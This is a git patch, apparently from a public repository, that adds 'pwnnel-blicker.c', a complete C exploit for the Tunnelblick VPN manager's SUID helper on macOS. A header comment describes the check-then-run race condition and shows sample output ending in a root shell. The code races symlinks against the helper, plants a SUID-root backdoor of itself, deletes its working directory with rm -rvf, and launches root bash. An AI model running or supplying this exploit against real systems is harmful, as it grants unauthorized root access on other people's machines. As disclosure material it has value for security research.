From 2bad53d2f6d0b4ccc0388fa2fffbb6b254e3e147 Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Sat, 11 Aug 2012 09:08:34 +0200 Subject: Initial commit of exploit. --- pwnnel-blicker.c | 132 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ screenshot.ogv | Bin 0 -> 1305900 bytes 2 files changed, 132 insertions(+) create mode 100755 pwnnel-blicker.c create mode 100644 screenshot.ogv diff --git a/pwnnel-blicker.c b/pwnnel-blicker.c new file mode 100755 index 0000000..a00c35e --- /dev/null +++ b/pwnnel-blicker.c @@ -0,0 +1,132 @@ +/* + * ==== Pwnnel Blicker ==== + * = = + * = zx2c4 = + * = = + * ======================== + * + * Tunnel Blicker, a widely used OpenVPN manager for OSX + * comes with a nice SUID executable that has more holes + * than you care to count. It's a treasure chest of local + * roots. I picked one that looked interesting, and here + * we have Pwnnel Blicker. + * + * Tunnel Blicker will run any executable that has 744 + * permissions and is owned by root:root. Probably we + * could find a way to exploit an already existing 744 + * executable, but this would be too easy. So instead, we + * take advantage of a race condition between checking the + * file permissions on the executable and actually running + * it. + * + * Usage: + * $ ./a.out + * [+] Creating vulnerable directory. + * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk + * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents + * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources + * [+] Writing pid and executing vulnerable program. + * [+] Running toggler. + * [+] Making backdoor. + * [+] Cleaning up. + * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/../../..//pwnage.tblk/Contents/Resources/exploit.pid + * [+] Complete. Run this again to get root. + * Killed: 9 + * + * $ ./a.out + * [+] Getting root. + * # whoami + * root + * + */ + + +#include +#include +#include +#include +#include +#include + +int main(int argc, char *argv[]) +{ + char dir[512]; + char script[512]; + char command[512]; + char pid_file[512]; + char path[512]; + char self[512]; + uint32_t size; + pid_t pid, pid2; + FILE *file; + + snprintf(dir, sizeof(dir), "%s/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources", getenv("HOME")); + snprintf(pid_file, sizeof(pid_file), "%s/exploit.pid", dir); + + /* Oh god, do I miss /proc/self/exe. */ + if (getenv("PWNPATH")) + strcpy(self, getenv("PWNPATH")); + else { + size = sizeof(path); + _NSGetExecutablePath(path, &size); + realpath(path, self); + setenv("PWNPATH", self, 1); + } + + if (!geteuid()) { + file = fopen(pid_file, "r"); + if (file) { + printf("[+] Making backdoor.\n"); + chown(self, 0, 0); + chmod(self, S_ISUID | S_IXOTH); + + printf("[+] Cleaning up.\n"); + fscanf(file, "%d %d", &pid, &pid2); + fclose(file); + snprintf(command, sizeof(command), "rm -rvf '%s/../../../'", dir); + system(command); + + printf("[+] Complete. Run this again to get root.\n"); + kill(pid2, 9); + kill(pid, 9); + return 0; + } + printf("[+] Getting root.\n"); + setuid(0); + setgid(0); + execl("/bin/bash", "bash", NULL); + } + + + printf("[+] Creating vulnerable directory.\n"); + snprintf(command, sizeof(command), "mkdir -p -v '%s'", dir); + system(command); + + pid = fork(); + if (!pid) { + printf("[+] Running toggler.\n"); + snprintf(script, sizeof(script), "%s/connected.sh", dir); + for (;;) { + unlink(script); + symlink("/Applications/Tunnelblick.app/Contents/Resources/client.down.tunnelblick.sh", script); + unlink(script); + symlink(self, script); + } + } else { + printf("[+] Writing pid and executing vulnerable program.\n"); + file = fopen(pid_file, "w"); + fprintf(file, "%d %d", pid, getpid()); + fclose(file); + for (;;) { + if (fork()) + wait(NULL); + else { + close(0); + close(2); + execl("/Applications/Tunnelblick.app/Contents/Resources/openvpnstart", "openvpnstart", "connected", "pwnage.tblk", "0", NULL); + } + } + } + + return 0; +} diff --git a/screenshot.ogv b/screenshot.ogv new file mode 100644 index 0000000..305d3bc Binary files /dev/null and b/screenshot.ogv differ -- cgit v1.2.3-59-g8ed1b